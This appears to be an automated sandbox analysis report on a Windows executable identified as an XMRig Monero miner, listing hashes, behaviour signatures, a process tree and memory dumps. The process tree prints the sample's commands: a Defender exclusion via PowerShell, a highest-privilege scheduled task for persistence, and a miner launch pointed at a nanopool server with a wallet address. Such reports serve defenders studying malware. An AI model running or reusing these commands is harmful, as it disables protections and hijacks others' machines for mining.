Analysis

  • max time kernel
    91s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-01-2023 21:27

General

  • Target

    e8faad746a67a36aa9f7ed61e3f4b96c51edc970d2fae896434c98f6412c1f38.exe

  • Size

    1.4MB

  • MD5

    b31fe52d28bc99d02f48f391f7d2ce92

  • SHA1

    beb093d4577a3fc4cb603e19623daacb01fab84f

  • SHA256

    e8faad746a67a36aa9f7ed61e3f4b96c51edc970d2fae896434c98f6412c1f38

  • SHA512

    da92a26b6ff4af57cca8b452eee2962d6e35cb05e417c3968989b6318535a310ac889c6841e00041b1cee19a0baa8d27ea8a6ce2e15acc6a9694393bf9dffba4

  • SSDEEP

    24576:65CqYT6LgebcHTfOHnMQaUtX+m00BxvAU0LMy:ICqYTSgewHYnSUtu4TFpy

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e8faad746a67a36aa9f7ed61e3f4b96c51edc970d2fae896434c98f6412c1f38.exe
    "C:\Users\Admin\AppData\Local\Temp\e8faad746a67a36aa9f7ed61e3f4b96c51edc970d2fae896434c98f6412c1f38.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:5036
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4992
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WSEL" /tr "C:\ProgramData\7zip\WSEL.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5048
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WSEL" /tr "C:\ProgramData\7zip\WSEL.exe"
        3⤵
        • Creates scheduled task(s)
        PID:4980
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1752

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1752-163-0x00000284BED50000-0x00000284BED70000-memory.dmp

    Filesize

    128KB

  • memory/1752-167-0x00000284C0660000-0x00000284C0680000-memory.dmp

    Filesize

    128KB

  • memory/1752-159-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1752-168-0x00000284C0680000-0x00000284C06A0000-memory.dmp

    Filesize

    128KB

  • memory/1752-162-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1752-166-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1752-165-0x00000284BEDA0000-0x00000284BEDC0000-memory.dmp

    Filesize

    128KB

  • memory/1752-161-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/1752-169-0x00000284C0660000-0x00000284C0680000-memory.dmp

    Filesize

    128KB

  • memory/1752-170-0x00000284C0680000-0x00000284C06A0000-memory.dmp

    Filesize

    128KB

  • memory/1752-164-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/4992-147-0x0000017624D60000-0x0000017624D82000-memory.dmp

    Filesize

    136KB

  • memory/4992-148-0x00007FFF78560000-0x00007FFF79021000-memory.dmp

    Filesize

    10.8MB

  • memory/4992-149-0x00007FFF78560000-0x00007FFF79021000-memory.dmp

    Filesize

    10.8MB

  • memory/5036-142-0x00007FFF796E0000-0x00007FFF7982E000-memory.dmp

    Filesize

    1.3MB

  • memory/5036-143-0x0000000000A00000-0x0000000000A41000-memory.dmp

    Filesize

    260KB

  • memory/5036-152-0x00007FFF78560000-0x00007FFF79021000-memory.dmp

    Filesize

    10.8MB

  • memory/5036-134-0x00007FFF799F0000-0x00007FFF79A9A000-memory.dmp

    Filesize

    680KB

  • memory/5036-150-0x0000000000170000-0x0000000000330000-memory.dmp

    Filesize

    1.8MB

  • memory/5036-155-0x00007FFF72AC0000-0x00007FFF72AF5000-memory.dmp

    Filesize

    212KB

  • memory/5036-156-0x00007FFF72B00000-0x00007FFF72C02000-memory.dmp

    Filesize

    1.0MB

  • memory/5036-157-0x00007FFF94A30000-0x00007FFF94A9B000-memory.dmp

    Filesize

    428KB

  • memory/5036-158-0x00007FFF92FC0000-0x00007FFF92FFB000-memory.dmp

    Filesize

    236KB

  • memory/5036-145-0x00007FFF94230000-0x00007FFF94257000-memory.dmp

    Filesize

    156KB

  • memory/5036-144-0x00007FFF78560000-0x00007FFF79021000-memory.dmp

    Filesize

    10.8MB

  • memory/5036-151-0x0000000000A00000-0x0000000000A41000-memory.dmp

    Filesize

    260KB

  • memory/5036-132-0x0000000000170000-0x0000000000330000-memory.dmp

    Filesize

    1.8MB

  • memory/5036-141-0x0000000000170000-0x0000000000330000-memory.dmp

    Filesize

    1.8MB

  • memory/5036-140-0x00007FFF95E30000-0x00007FFF95E5B000-memory.dmp

    Filesize

    172KB

  • memory/5036-139-0x00007FFF78560000-0x00007FFF79021000-memory.dmp

    Filesize

    10.8MB

  • memory/5036-138-0x00007FFF95C80000-0x00007FFF95E21000-memory.dmp

    Filesize

    1.6MB

  • memory/5036-137-0x00007FFF79830000-0x00007FFF798ED000-memory.dmp

    Filesize

    756KB

  • memory/5036-136-0x00007FFF91B10000-0x00007FFF91B22000-memory.dmp

    Filesize

    72KB

  • memory/5036-135-0x00007FFF95BE0000-0x00007FFF95C7E000-memory.dmp

    Filesize

    632KB